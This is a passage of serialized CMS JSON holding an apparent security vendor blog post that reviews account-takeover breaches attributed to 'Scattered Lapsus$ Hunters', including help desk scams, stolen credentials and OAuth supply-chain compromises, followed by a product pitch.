4174,74183,74224,74227,74235,74244,74264,74273,74280,74289,74322,74328,74337,74344,74350,74353,74360,74369,74376,74435,74441,74444,74451,74460,74467,74473,74476,74483,74490,74497,74564,74571,74634,74641,74644,74652,74659,74666,74672,74675,74682,74689,74696,74703],{"data":73794,"content":73795,"nodeType":866},{},[73796],{"data":73797,"marks":73798,"value":73799,"nodeType":865},{},[],"The biggest cybersecurity story this year (so far) has been the emergence of “Scattered Lapsus$ Hunters” and their record-breaking worldwide hacking spree. ",{"data":73801,"content":73802,"nodeType":866},{},[73803],{"data":73804,"marks":73805,"value":73806,"nodeType":865},{},[],"Scattered Lapsus$ Hunters is part of “The Com”, the name for the broad community of English-speaking cybercriminals with international criminal connections — including with nation-state sponsored groups. They are also known to collaborate with a range of cybercrime “as-a-Service” organizations for phishing, initial access, ransomware, and more. ",{"data":73808,"content":73809,"nodeType":866},{},[73810],{"data":73811,"marks":73812,"value":73813,"nodeType":865},{},[],"It’s difficult to pin down exactly who the individuals are that make up this criminal collective. But what is known is their MO — making money through extortion by means of account takeover, mass data theft, and ransomware deployment. ",{"data":73815,"content":73816,"nodeType":953},{},[],{"data":73818,"content":73819,"nodeType":963},{},[73820],{"data":73821,"marks":73822,"value":73824,"nodeType":865},{},[73823],{"type":961},"How did we get here? ",{"data":73826,"content":73827,"nodeType":866},{},[73828],{"data":73829,"marks":73830,"value":73831,"nodeType":865},{},[],"Earlier this year, the threat group known to most analysts as Scattered Spider (also tracked as 0ktapus, Octo Tempest, Scatter Swine, Muddled Libra, and UNC3944) re-emerged after a series of arrests in late 2024. ",{"data":73833,"content":73834,"nodeType":866},{},[73835],{"data":73836,"marks":73837,"value":73838,"nodeType":865},{},[],"This group has been active in peaks and troughs over the years, but are mainly known for high-profile ransomware attacks on Caesars and MGM Resorts in 2024. ",{"data":73840,"content":73844,"nodeType":925},{"target":73841},{"sys":73842},{"id":73843,"type":922,"linkType":923},"1Vt269d7n6IGMzOrJs1FDx",[],{"data":73846,"content":73847,"nodeType":866},{},[73848],{"data":73849,"marks":73850,"value":73851,"nodeType":865},{},[],"Scattered Spider hit the headlines again in April 2025 with attacks on UK retailers Marks & Spencer and Co-op, which resulted in significant, prolonged disruption, and a serious downstream impact on the retail supply chain. ",{"data":73853,"content":73857,"nodeType":925},{"target":73854},{"sys":73855},{"id":73856,"type":922,"linkType":923},"3kvcGV2zZZUPnM8IK04Y1O",[],{"data":73859,"content":73860,"nodeType":866},{},[73861,73865,73873],{"data":73862,"marks":73863,"value":73864,"nodeType":865},{},[],"It didn’t stop there, though. What followed was a wide-scale campaign targeting Salesforce customers, with the attackers claiming to have stolen ",{"data":73866,"content":73867,"nodeType":882},{"uri":39517},[73868],{"data":73869,"marks":73870,"value":73872,"nodeType":865},{},[73871],{"type":997},"over 1.5 billion records from 1000+ companies",{"data":73874,"marks":73875,"value":73876,"nodeType":865},{},[]," across multiple verticals, including heavyweights like Google, Cloudflare, Workday, Adidas, FedEx, Disney, LVMH, and many more.",{"data":73878,"content":73879,"nodeType":866},{},[73880],{"data":73881,"marks":73882,"value":73883,"nodeType":865},{},[],"Around this time, the attackers began to refer to themselves as part of a wider collective, assuming the moniker “Scattered Lapsus$ Hunters” (a mash-up of names given by analysts and self-adopted by attackers — Scattered Spider, ShinyHunters, and Lapsus$).",{"data":73885,"content":73886,"nodeType":866},{},[73887,73891],{"data":73888,"marks":73889,"value":73890,"nodeType":865},{},[],"The most significant breach this year to-date impacted Jaguar Land Rover. A ransomware attack resulted in months of disruption that directly impacted the UK’s GDP, with the government underwriting a $1.5B loan to alleviate the supply chain impact. ",{"data":73892,"marks":73893,"value":73895,"nodeType":865},{},[73894],{"type":961},"In fact, this was the most economically consequential cyber attack yet recorded in a G7 economy. ",{"data":73897,"content":73898,"nodeType":953},{},[],{"data":73900,"content":73901,"nodeType":963},{},[73902],{"data":73903,"marks":73904,"value":73906,"nodeType":865},{},[73905],{"type":961},"2025 wasn’t a one-off",{"data":73908,"content":73909,"nodeType":866},{},[73910],{"data":73911,"marks":73912,"value":73913,"nodeType":865},{},[],"The developments through 2025 have presented a stronger picture than ever before that cybercriminal operations are heavily interlinked. Groups overlap considerably, and individuals freely move between different cells. ",{"data":73915,"content":73916,"nodeType":866},{},[73917,73921,73926],{"data":73918,"marks":73919,"value":73920,"nodeType":865},{},[],"When we scratch beneath the surface, this is evident in the tactics, techniques and procedures (TTPs) used by these attackers — even stretching as far back as 2021 with the initial rise of Lapsus$. This is not an accident. ",{"data":73922,"marks":73923,"value":73925,"nodeType":865},{},[73924],{"type":961},"The TTPs used show a conscious move by attackers to move away from environments that are well-protected by traditional security tools. ",{"data":73927,"marks":73928,"value":73929,"nodeType":865},{},[],"This means avoiding targeting endpoints with malware, and not relying on software-based exploits. Instead, these attackers look to take over apps and services directly over the internet. ",{"data":73931,"content":73932,"nodeType":866},{},[73933],{"data":73934,"marks":73935,"value":73936,"nodeType":865},{},[],"Most of the time, this is as simple as logging in to a SaaS app, or an enterprise SSO account (e.g. Microsoft, Okta, or Google) and dumping the data. For attackers that want to take it further, they can abuse the sprawl of interconnected apps that make up modern business IT, seeking out specific data or exploitable functionality. Or, they can leverage internet-accessible management portals to chart a path back to your on-premise assets, giving them everything they need to pivot toward more conventional methods such as ransomware deployment. ",{"data":73938,"content":73939,"nodeType":866},{},[73940,73944],{"data":73941,"marks":73942,"value":73943,"nodeType":865},{},[],"When we look at historical breaches, the pattern is clear. ",{"data":73945,"marks":73946,"value":73948,"nodeType":865},{},[73947],{"type":961},"Not one of the attacks attributed to Scattered Lapsus$ Hunters, or its predecessors, started with an endpoint or network attack — they all began with account takeover. ",{"data":73950,"content":73954,"nodeType":925},{"target":73951},{"sys":73952},{"id":73953,"type":922,"linkType":923},"6poP5VM2ARrEvwKEG42HgK",[],{"data":73956,"content":73957,"nodeType":953},{},[],{"data":73959,"content":73960,"nodeType":963},{},[73961],{"data":73962,"marks":73963,"value":73965,"nodeType":865},{},[73964],{"type":961},"TTP breakdown: Analyzing the top “Scattered Lapsus$ Hunters” breaches since 2021",{"data":73967,"content":73968,"nodeType":1458},{},[73969],{"data":73970,"marks":73971,"value":73973,"nodeType":865},{},[73972],{"type":961},"Phishing and stolen credentials",{"data":73975,"content":73979,"nodeType":925},{"target":73976},{"sys":73977},{"id":73978,"type":922,"linkType":923},"4SNOanDIdGZsvRRnMYQVSo",[],{"data":73981,"content":73982,"nodeType":866},{},[73983],{"data":73984,"marks":73985,"value":73988,"nodeType":865},{},[73986,73987],{"type":961},{"type":997},"EA Games (2021)",{"data":73990,"content":73991,"nodeType":866},{},[73992,73996,74005],{"data":73993,"marks":73994,"value":73995,"nodeType":865},{},[],"Attackers used stolen session cookies to log into EA’s Slack instance, purchased on a criminal forum. Combined with ",{"data":73997,"content":73999,"nodeType":882},{"uri":73998},"https://pushsecurity.com/blog/phishing-slack-persistence/",[74000],{"data":74001,"marks":74002,"value":74004,"nodeType":865},{},[74003],{"type":997},"social engineering via Slack",{"data":74006,"marks":74007,"value":74008,"nodeType":865},{},[],", this was used to steal 750GB of data, including video game source code. ",{"data":74010,"content":74011,"nodeType":866},{},[74012],{"data":74013,"marks":74014,"value":74017,"nodeType":865},{},[74015,74016],{"type":961},{"type":997},"Nvidia (2022)",{"data":74019,"content":74020,"nodeType":866},{},[74021],{"data":74022,"marks":74023,"value":74024,"nodeType":865},{},[],"Attackers used stolen credentials to steal 1TB of data from Nvidia’s internal shares, including a significant amount of sensitive information about the designs of Nvidia graphics cards, source code, and the usernames and passwords of more than 71,000 Nvidia employees.",{"data":74026,"content":74027,"nodeType":866},{},[74028],{"data":74029,"marks":74030,"value":74033,"nodeType":865},{},[74031,74032],{"type":961},{"type":997},"Microsoft (2022)",{"data":74035,"content":74036,"nodeType":866},{},[74037,74041,74049],{"data":74038,"marks":74039,"value":74040,"nodeType":865},{},[],"Attackers used stolen credentials combined with SIM swapping and ",{"data":74042,"content":74044,"nodeType":882},{"uri":74043},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/mfa_fatigue/description.md",[74045],{"data":74046,"marks":74047,"value":74048,"nodeType":865},{},[],"MFA fatigue",{"data":74050,"marks":74051,"value":74052,"nodeType":865},{},[]," attacks to steal Azure DevOps source code — leaked a 9GB archive of Microsoft source code – including ~90% of Bing and 45% of Cortana code. ",{"data":74054,"content":74055,"nodeType":866},{},[74056],{"data":74057,"marks":74058,"value":74061,"nodeType":865},{},[74059,74060],{"type":961},{"type":997},"T-Mobile (2022)",{"data":74063,"content":74064,"nodeType":866},{},[74065],{"data":74066,"marks":74067,"value":74068,"nodeType":865},{},[],"Attackers used stolen credentials to establish initial access, coupled with social engineering T-Mobile staff into approving the attacker’s device for VPN access. This resulted in source code being stolen from over 30,000 repositories. ",{"data":74070,"content":74071,"nodeType":866},{},[74072],{"data":74073,"marks":74074,"value":74077,"nodeType":865},{},[74075,74076],{"type":961},{"type":997},"Snowflake (165 customers) (2024)",{"data":74079,"content":74080,"nodeType":866},{},[74081,74085,74093,74097,74105],{"data":74082,"marks":74083,"value":74084,"nodeType":865},{},[],"Attackers targeted ",{"data":74086,"content":74087,"nodeType":882},{"uri":3904},[74088],{"data":74089,"marks":74090,"value":74092,"nodeType":865},{},[74091],{"type":997},"165 Snowflake customers",{"data":74094,"marks":74095,"value":74096,"nodeType":865},{},[]," using stolen credentials from credential breaches dating back as far as 2020. Due to widespread MFA gaps and the presence of ",{"data":74098,"content":74100,"nodeType":882},{"uri":74099},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/ghost_logins/description.md",[74101],{"data":74102,"marks":74103,"value":10345,"nodeType":865},{},[74104],{"type":997},{"data":74106,"marks":74107,"value":74108,"nodeType":865},{},[],", attackers were able to simply log in to individual customer tenants, dump the data, and use it to extort the companies. In total, 9 public victims were named following the breach, with over 1B breached customer records. ",{"data":74110,"content":74111,"nodeType":866},{},[74112],{"data":74113,"marks":74114,"value":74117,"nodeType":865},{},[74115,74116],{"type":961},{"type":997},"PowerSchool (2024)",{"data":74119,"content":74120,"nodeType":866},{},[74121],{"data":74122,"marks":74123,"value":74124,"nodeType":865},{},[],"Attackers gained access to a community-focused customer support portal, PowerSource, using compromised credentials and stole data using an \"export data manager\" customer support tool, stealing the data of 62.4 million students and 9.5 million teachers. PowerSchool paid an undisclosed ransom fee, but hackers returned later to extort schools and individuals separately anyway.",{"data":74126,"content":74127,"nodeType":866},{},[74128],{"data":74129,"marks":74130,"value":74133,"nodeType":865},{},[74131,74132],{"type":961},{"type":997},"Red Hat (2025)",{"data":74135,"content":74136,"nodeType":866},{},[74137,74141,74148],{"data":74138,"marks":74139,"value":74140,"nodeType":865},{},[],"Attackers breached Red Hat’s GitLab instance via a compromised account — the result of ",{"data":74142,"content":74143,"nodeType":882},{"uri":74099},[74144],{"data":74145,"marks":74146,"value":10345,"nodeType":865},{},[74147],{"type":997},{"data":74149,"marks":74150,"value":74151,"nodeType":865},{},[]," providing a backdoor to access an otherwise secure, SSO-connected account. Stolen data included approximately 800 Customer Engagement Reports (CERs), authentication tokens, full database URIs, and other private information in Red Hat code and CERs, which they claimed to use to gain access to downstream customer infrastructure. ",{"data":74153,"content":74157,"nodeType":925},{"target":74154},{"sys":74155},{"id":74156,"type":922,"linkType":923},"G1V7d5Dvevmr9p0YXElPX",[],{"data":74159,"content":74160,"nodeType":866},{},[74161],{"data":74162,"marks":74163,"value":74166,"nodeType":865},{},[74164,74165],{"type":961},{"type":997},"Discord (2025)",{"data":74168,"content":74169,"nodeType":866},{},[74170],{"data":74171,"marks":74172,"value":74173,"nodeType":865},{},[],"Attackers compromised a Zendesk customer support account, stealing 1.6TB of data. The hackers say this consisted of roughly 8.4 million tickets affecting 5.5 million unique users, and that about 580,000 users contained payment information.",{"data":74175,"content":74176,"nodeType":866},{},[74177],{"data":74178,"marks":74179,"value":74182,"nodeType":865},{},[74180,74181],{"type":961},{"type":997},"SoundCloud, MatchGroup, Crunchbase, Betterment... (2026)",{"data":74184,"content":74185,"nodeType":866},{},[74186,74190,74198,74201,74209,74213,74220],{"data":74187,"marks":74188,"value":74189,"nodeType":865},{},[],"Scattered Lapsus$ Hunters have already claimed several public victims in 2026, with over 60 million breached records. ",{"data":74191,"content":74193,"nodeType":882},{"uri":74192},"https://www.bleepingcomputer.com/news/security/shinyhunters-claim-to-be-behind-sso-account-data-theft-attacks/",[74194],{"data":74195,"marks":74196,"value":74197,"nodeType":865},{},[],"SoundCloud, Betterment, Crunchbase",{"data":74199,"marks":74200,"value":8756,"nodeType":865},{},[],{"data":74202,"content":74204,"nodeType":882},{"uri":74203},"https://www.bleepingcomputer.com/news/security/match-group-breach-exposes-data-from-hinge-tinder-okcupid-and-match/",[74205],{"data":74206,"marks":74207,"value":74208,"nodeType":865},{},[],"MatchGroup",{"data":74210,"marks":74211,"value":74212,"nodeType":865},{},[]," have all reported breaches this month, powered by a brand ",{"data":74214,"content":74215,"nodeType":882},{"uri":19454},[74216],{"data":74217,"marks":74218,"value":74219,"nodeType":865},{},[],"new real-time-operated AiTM phishing kit",{"data":74221,"marks":74222,"value":74223,"nodeType":865},{},[]," targeting Okta, Entra, and Google SSO accounts. This is a developing situation, with more victims expected to be announced publicly soon.",{"data":74225,"content":74226,"nodeType":953},{},[],{"data":74228,"content":74229,"nodeType":1458},{},[74230],{"data":74231,"marks":74232,"value":74234,"nodeType":865},{},[74233],{"type":961},"Vishing and help desk scams",{"data":74236,"content":74237,"nodeType":866},{},[74238],{"data":74239,"marks":74240,"value":74243,"nodeType":865},{},[74241,74242],{"type":961},{"type":997},"MGM Resorts & Caesars (2023)",{"data":74245,"content":74246,"nodeType":866},{},[74247,74251,74260],{"data":74248,"marks":74249,"value":74250,"nodeType":865},{},[],"MGM Resorts and Caesars were hit with twin breaches in 2023. Attackers socially engineered help desk personnel to take over accounts with Super Administrator privileges within MGM Resorts’ Okta tenant, which they then used to register a second, attacker-controlled IdP via ",{"data":74252,"content":74254,"nodeType":882},{"uri":74253},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/inbound_federation/description.md",[74255],{"data":74256,"marks":74257,"value":74259,"nodeType":865},{},[74258],{"type":997},"inbound federation",{"data":74261,"marks":74262,"value":74263,"nodeType":865},{},[]," — granting comprehensive access that was used to deploy ransomware. ",{"data":74265,"content":74266,"nodeType":866},{},[74267],{"data":74268,"marks":74269,"value":74272,"nodeType":865},{},[74270,74271],{"type":961},{"type":997},"Transport for London (2024)",{"data":74274,"content":74275,"nodeType":866},{},[74276],{"data":74277,"marks":74278,"value":74279,"nodeType":865},{},[],"Attackers socially engineered the Transport for London help desk to gain privileged access to the IT environment, resulting in prolonged disruption to key online services underpinning London’s public transport network, theft of 5,000 users bank details, and all 30,000 staff members having to reset their online credentials in person.",{"data":74281,"content":74282,"nodeType":866},{},[74283],{"data":74284,"marks":74285,"value":74288,"nodeType":865},{},[74286,74287],{"type":961},{"type":997},"Marks & Spencer (2025)",{"data":74290,"content":74291,"nodeType":866},{},[74292,74296,74305,74309,74318],{"data":74293,"marks":74294,"value":74295,"nodeType":865},{},[],"Attackers compromised a Microsoft Entra account belonging to a privileged user via a ",{"data":74297,"content":74299,"nodeType":882},{"uri":74298},"https://pushsecurity.com/blog/scattered-spider-defending-against-help-desk-scams/",[74300],{"data":74301,"marks":74302,"value":74304,"nodeType":865},{},[74303],{"type":997},"help desk scam",{"data":74306,"marks":74307,"value":74308,"nodeType":865},{},[],", which enabled them to steal sensitive data from cloud environments, as well as pivot to deploy ransomware via the ",{"data":74310,"content":74312,"nodeType":882},{"uri":74311},"https://cloud.google.com/blog/topics/threat-intelligence/vsphere-active-directory-integration-risks",[74313],{"data":74314,"marks":74315,"value":74317,"nodeType":865},{},[74316],{"type":997},"VMware admin console",{"data":74319,"marks":74320,"value":74321,"nodeType":865},{},[],". This enabled ransomware to be deployed at the hypervisor layer, evading host-based protections like EDR. ",{"data":74323,"content":74327,"nodeType":925},{"target":74324},{"sys":74325},{"id":74326,"type":922,"linkType":923},"7hBdHG74NaA3bQfOMpYA9o",[],{"data":74329,"content":74330,"nodeType":866},{},[74331],{"data":74332,"marks":74333,"value":74336,"nodeType":865},{},[74334,74335],{"type":961},{"type":997},"Jaguar Land Rover (2025)",{"data":74338,"content":74339,"nodeType":866},{},[74340],{"data":74341,"marks":74342,"value":74343,"nodeType":865},{},[],"Attackers compromised highly privileged admin accounts via a help desk scam, which they leveraged to access and deploy ransomware to all aspects of Jaguar’s business, from CAD and engineering software, to payments tracking, to customer car delivery, using similar techniques to the Marks & Spencer breach. ",{"data":74345,"content":74349,"nodeType":925},{"target":74346},{"sys":74347},{"id":74348,"type":922,"linkType":923},"6s1X2fo4K9EeVLBmHm4YXb",[],{"data":74351,"content":74352,"nodeType":953},{},[],{"data":74354,"content":74355,"nodeType":1458},{},[74356],{"data":74357,"marks":74358,"value":694,"nodeType":865},{},[74359],{"type":961},{"data":74361,"content":74362,"nodeType":866},{},[74363],{"data":74364,"marks":74365,"value":74368,"nodeType":865},{},[74366,74367],{"type":961},{"type":997},"Salesforce & Salesloft (1000+ customers) (2025)",{"data":74370,"content":74371,"nodeType":866},{},[74372],{"data":74373,"marks":74374,"value":74375,"nodeType":865},{},[],"A vast campaign against Salesforce customers resulted in the compromise of 1000+ Salesforce tenants (according to the attacker) with more than 1.5 billion records stolen. This campaign can consisted of three phases:",{"data":74377,"content":74378,"nodeType":1049},{},[74379,74394,74409],{"data":74380,"content":74381,"nodeType":1003},{},[74382],{"data":74383,"content":74384,"nodeType":866},{},[74385,74390],{"data":74386,"marks":74387,"value":74389,"nodeType":865},{},[74388],{"type":961},"Phase 1:",{"data":74391,"marks":74392,"value":74393,"nodeType":865},{},[]," The attacker conducted a large-scale vishing campaign against Salesforce customers, calling up users and socially engineering them into connecting a malicious version of the “Data Loader” app into their tenant. This was in fact an attacker-controlled app that enabled data to be mass-exfiltrated via API. ",{"data":74395,"content":74396,"nodeType":1003},{},[74397],{"data":74398,"content":74399,"nodeType":866},{},[74400,74405],{"data":74401,"marks":74402,"value":74404,"nodeType":865},{},[74403],{"type":961},"Phase 2: ",{"data":74406,"marks":74407,"value":74408,"nodeType":865},{},[],"The attacker conducted a supply-chain compromise against customers of Salesloft. Users of Salesloft’s “Drift” integration were impacted by attackers stealing access tokens from Salesloft’s AWS environment. This integration allowed the attacker to steal data from customers that had deployed Drift to connected environments — namely, Salesforce, and Google Workspace. ",{"data":74410,"content":74411,"nodeType":1003},{},[74412],{"data":74413,"content":74414,"nodeType":866},{},[74415,74420,74424,74431],{"data":74416,"marks":74417,"value":74419,"nodeType":865},{},[74418],{"type":961},"Phase 3:",{"data":74421,"marks":74422,"value":74423,"nodeType":865},{},[]," The attacker then conducted a separate supply-chain compromise involving Gainsight (allegedly using OAuth tokens stolen in the Salesloft attack) which enabled them to ",{"data":74425,"content":74426,"nodeType":882},{"uri":64109},[74427],{"data":74428,"marks":74429,"value":74430,"nodeType":865},{},[],"breach a further 285 Salesforce instances",{"data":74432,"marks":74433,"value":74434,"nodeType":865},{},[]," using stolen OAuth tokens from Gainsight's integrations. ",{"data":74436,"content":74440,"nodeType":925},{"target":74437},{"sys":74438},{"id":74439,"type":922,"linkType":923},"3TwjpVKQ42SwQRhvGFbZdn",[],{"data":74442,"content":74443,"nodeType":953},{},[],{"data":74445,"content":74446,"nodeType":1458},{},[74447],{"data":74448,"marks":74449,"value":699,"nodeType":865},{},[74450],{"type":961},{"data":74452,"content":74453,"nodeType":866},{},[74454],{"data":74455,"marks":74456,"value":74459,"nodeType":865},{},[74457,74458],{"type":961},{"type":997},"CyberHaven (2024)",{"data":74461,"content":74462,"nodeType":866},{},[74463],{"data":74464,"marks":74465,"value":74466,"nodeType":865},{},[],"Hackers phished a CyberHaven extension developer and uploaded a malicious version of the CyberHaven extension to the Chrome Web Store, leading to customer data breaches where installed in user browsers, impacting CyberHaven’s estimated ~400 business customers. This was part of a broader campaign that targeted 35 Chrome extensions, collectively impacting over 2.5 million users.",{"data":74468,"content":74472,"nodeType":925},{"target":74469},{"sys":74470},{"id":74471,"type":922,"linkType":923},"4ErDI0xi0Vj2Zrk8Qsb2NB",[],{"data":74474,"content":74475,"nodeType":953},{},[],{"data":74477,"content":74478,"nodeType":963},{},[74479],{"data":74480,"marks":74481,"value":38047,"nodeType":865},{},[74482],{"type":961},{"data":74484,"content":74485,"nodeType":866},{},[74486],{"data":74487,"marks":74488,"value":74489,"nodeType":865},{},[],"Scattered Lapsus$ Hunters are dominating the headlines right now, but they aren’t the only attackers using these modern techniques and consciously evading established security controls. ",{"data":74491,"content":74492,"nodeType":866},{},[74493],{"data":74494,"marks":74495,"value":74496,"nodeType":865},{},[],"Threat reports agree that attackers are steering away from traditional exploit and malware-driven breaches towards identities:",{"data":74498,"content":74499,"nodeType":1049},{},[74500,74521,74543],{"data":74501,"content":74502,"nodeType":1003},{},[74503],{"data":74504,"content":74505,"nodeType":866},{},[74506,74510,74518],{"data":74507,"marks":74508,"value":74509,"nodeType":865},{},[],"Identity-based attacks surged 32% in the last year, while 97% of identity attacks are password-based, driven by credential leaks and infostealer malware. (",{"data":74511,"content":74513,"nodeType":882},{"uri":74512},"https://cdn-dynmedia-1.microsoft.com/is/content/microsoftcorp/microsoft/msc/documents/presentations/CSR/Microsoft-Digital-Defense-Report-2025.pdf#page=1",[74514],{"data":74515,"marks":74516,"value":29673,"nodeType":865},{},[74517],{"type":997},{"data":74519,"marks":74520,"value":23156,"nodeType":865},{},[],{"data":74522,"content":74523,"nodeType":1003},{},[74524],{"data":74525,"content":74526,"nodeType":866},{},[74527,74531,74540],{"data":74528,"marks":74529,"value":74530,"nodeType":865},{},[],"79% of detections were malware-free in the last year, up from 40% in 2019. (",{"data":74532,"content":74534,"nodeType":882},{"uri":74533},"https://www.crowdstrike.com/en-gb/global-threat-report/",[74535],{"data":74536,"marks":74537,"value":74539,"nodeType":865},{},[74538],{"type":997},"CrowdStrike",{"data":74541,"marks":74542,"value":23156,"nodeType":865},{},[],{"data":74544,"content":74545,"nodeType":1003},{},[74546],{"data":74547,"content":74548,"nodeType":866},{},[74549,74553,74561],{"data":74550,"marks":74551,"value":74552,"nodeType":865},{},[],"Credential abuse and phishing combined accounted for 38% of breaches, making identity the primary breach vector observed. (",{"data":74554,"content":74555,"nodeType":882},{"uri":3240},[74556],{"data":74557,"marks":74558,"value":74560,"nodeType":865},{},[74559],{"type":997},"Verizon",{"data":74562,"marks":74563,"value":23156,"nodeType":865},{},[],{"data":74565,"content":74566,"nodeType":866},{},[74567],{"data":74568,"marks":74569,"value":74570,"nodeType":865},{},[],"And other public breaches from this year alone demonstrate similar TTPs from outside of the Scattered Lapsus$ Hunters orbit:",{"data":74572,"content":74573,"nodeType":1049},{},[74574,74589,74604,74619],{"data":74575,"content":74576,"nodeType":1003},{},[74577],{"data":74578,"content":74579,"nodeType":866},{},[74580,74585],{"data":74581,"marks":74582,"value":74584,"nodeType":865},{},[74583],{"type":961},"Nikkei",{"data":74586,"marks":74587,"value":74588,"nodeType":865},{},[],": Japanese publishing giant Nikkei’s Slack messaging platform was compromised using stolen credentials, leaking the names, email addresses, and chat histories for 17,368 individuals registered on Slack.",{"data":74590,"content":74591,"nodeType":1003},{},[74592],{"data":74593,"content":74594,"nodeType":866},{},[74595,74600],{"data":74596,"marks":74597,"value":74599,"nodeType":865},{},[74598],{"type":961},"Evertec",{"data":74601,"marks":74602,"value":74603,"nodeType":865},{},[],": Hackers tried to steal $130 million from Evertec’s Brazilian subsidiary Sinqia S.A.after gaining unauthorized access to its environment on the central bank’s real-time payment system (Pix) using stolen credentials.",{"data":74605,"content":74606,"nodeType":1003},{},[74607],{"data":74608,"content":74609,"nodeType":866},{},[74610,74615],{"data":74611,"marks":74612,"value":74614,"nodeType":865},{},[74613],{"type":961},"Hy-Vee:",{"data":74616,"marks":74617,"value":74618,"nodeType":865},{},[]," Was hit with a data breach after hackers logged in with stolen credentials, exposing 53GB of sensitive data.",{"data":74620,"content":74621,"nodeType":1003},{},[74622],{"data":74623,"content":74624,"nodeType":866},{},[74625,74630],{"data":74626,"marks":74627,"value":74629,"nodeType":865},{},[74628],{"type":961},"Scania: ",{"data":74631,"marks":74632,"value":74633,"nodeType":865},{},[],"Automotive giant Scania confirmed it suffered a cybersecurity incident where threat actors used compromised credentials to breach its Financial Services systems and steal insurance claim documents.",{"data":74635,"content":74636,"nodeType":866},{},[74637],{"data":74638,"marks":74639,"value":74640,"nodeType":865},{},[],"Scattered Lapsus$ Hunters may be grabbing the headlines — but this a huge movement in a vast and flexible community of attackers. And criminals around the world are learning from their success. ",{"data":74642,"content":74643,"nodeType":953},{},[],{"data":74645,"content":74646,"nodeType":963},{},[74647],{"data":74648,"marks":74649,"value":74651,"nodeType":865},{},[74650],{"type":961},"Lessons learned",{"data":74653,"content":74654,"nodeType":866},{},[74655],{"data":74656,"marks":74657,"value":74658,"nodeType":865},{},[],"The common thread with all of these attacks is that they are evading established security controls by targeting applications directly, over the internet, via account takeover.",{"data":74660,"content":74661,"nodeType":866},{},[74662],{"data":74663,"marks":74664,"value":74665,"nodeType":865},{},[],"Clearly, the success of these attacks shows the limitations of multiple control layers. Endpoint and network layer controls have no visibility of this attack surface. Identity-focused controls are being undermined by ghost logins and shadow IT. And the limitations of cloud security controls in their ability to encompass all apps, and detect and stop malicious actions in real-time (that often blend in seamlessly with normal user activity). ",{"data":74667,"content":74671,"nodeType":925},{"target":74668},{"sys":74669},{"id":74670,"type":922,"linkType":923},"4Dg3fZEGf7ShyQJ8jlNDME",[],{"data":74673,"content":74674,"nodeType":953},{},[],{"data":74676,"content":74677,"nodeType":963},{},[74678],{"data":74679,"marks":74680,"value":3604,"nodeType":865},{},[74681],{"type":961},{"data":74683,"content":74684,"nodeType":866},{},[74685],{"data":74686,"marks":74687,"value":74688,"nodeType":865},{},[],"Stopping attacks that are designed to evade established controls is in our DNA — it’s the reason Push was founded. ",{"data":74690,"content":74691,"nodeType":866},{},[74692],{"data":74693,"marks":74694,"value":74695,"nodeType":865},{},[],"The browser is the gateway to to the apps and identities that attackers are now targeting, with many attacks taking place inside the user’s browser — whether that’s entering credentials onto a phishing page, approving a malicious OAuth grant, installing a risky browser extension, or insecurely accessing an app with a weak password and no MFA. ",{"data":74697,"content":74698,"nodeType":866},{},[74699],{"data":74700,"marks":74701,"value":74702,"nodeType":865},{},[],"Push’s browser-based security platform provides comprehensive detection and response capabilities against attacks like AiTM phishing, credential stuffing, malicious browser extensions, malicious OAuth grants, ClickFix, and session hijacking. You don’t need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your attack surface.",{"data":74704,"content":74705,"nodeType":866},{},[74706,74709,74716,74719,74726],{"data":74707,"marks":74708,"value":32401,"nodeType":865},{},[],{"data":74710,"content":74711,"nodeType":882},{"uri":22700},[74712],{"data":74713,"marks":74714,"value":22706,"nodeType":865},{},[74715],{"type":997},{"data":74717,"marks":74718,"value":71034,"nodeType":865},{},[],{"data":74720,"content":74721,"nodeType":882},{"uri":1728},[74722],{"data":74723,"marks":74724,"value":22730,"nodeType":865},{},[74725],{"type":997},{"data":74727,"marks":74728,"value":1048,"nodeType":865},{},[],"\"Scattered Lapsus$ Hunters\" — how modern attackers exploit the gaps in your security stack ","How Scattered Lapsus$ Hunters breaches demonstrate the evolution of attacker TTPs, shaping the future of cyber attacks.","2025-11-13T00:00:00.000Z","scattered-lapsus-hunters",{"items":74734},[74735,74737],{"sys":74736,"name":11426},{"id":11425},{"sys":74738,"name":342},{"id":8410},{"items":74740},[74741],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":74742},{"url":11434},"consentfix-v3-analyzing-a-new-toolkit","blog/consentfix-v3-analyzing-a-new-toolkit",{"json":74746},{"data":74747,"content":74748,"nodeType":1739},{},[74749,74756],{"data":74750,"content":74751,"nodeType":866},{},[74752],{"data":74753,"marks":74754,"value":74755,"nodeType":865},{},[],"Investigating a new criminal toolkit for ConsentFix being promoted on criminal forums. ",{"data":74757,"content":74758,"nodeType":866},{},[74759],{"data":74760,"marks":74761,"value":21,"nodeType":865},{},[],{"id":74763,"publishedAt":74764},"27Z1JlNtpGTPyarh393sHK","2026-08-12T12:01:05.176Z",{"items":74766},[74767,74769],{"sys":74768,"name":11426},{"id":11425},{"sys":74770,"name":342},{"id":8410},{"items":74772},[74773,74775,74777,74779,74781,74783,74785,74787,74789,74791],{"sys":74774,"name":279,"slug":280,"tier":31},{"id":276},{"sys":74776,"name":519,"slug":520,"tier":31},{"id":516},{"sys":74778,"name":315,"slug":316,"tier":45},{"id":312},{"sys":74780,"name":484,"slug":485,"tier":45},{"id":481},{"sys":74782,"name":511,"slug":512,"tier":45},{"id":508},{"sys":74784,"name":466,"slug":467,"tier":45},{"id":463},{"sys":74786,"name":360,"slug":361,"tier":45},{"id":357},{"sys":74788,"name":607,"slug":608,"tier":45},{"id":604},{"sys":74790,"name":244,"slug":245,"tier":45},{"id":241},{"sys":74792,"name":493,"slug":494,"tier":45},{"id":490},"L1TbDkMtNKV59uzU5naudHmcDycdP34hheLfWwcafVI",{"id":74795,"title":64436,"authorsCollection":74796,"content":74801,"extension":228,"faqItemsCollection":75613,"faqTitle":59,"featured":6,"hashTags":59,"meta":75615,"metaTitle":75616,"ogImage":59,"postType":75617,"publishedDate":64438,"relatedBlogPostsCollection":75618,"slug":64439,"stem":80524,"subtitle":59,"summary":80525,"synopsis":64437,"sys":80536,"tagsCollection":80538,"topicsCollection":80544,"__hash__":80586},"blog/blog/unpacking-the-vercel-breach.json",{"items":74797},[74798],{"fullName":11430,"firstName":11431,"jobTitle":11432,"s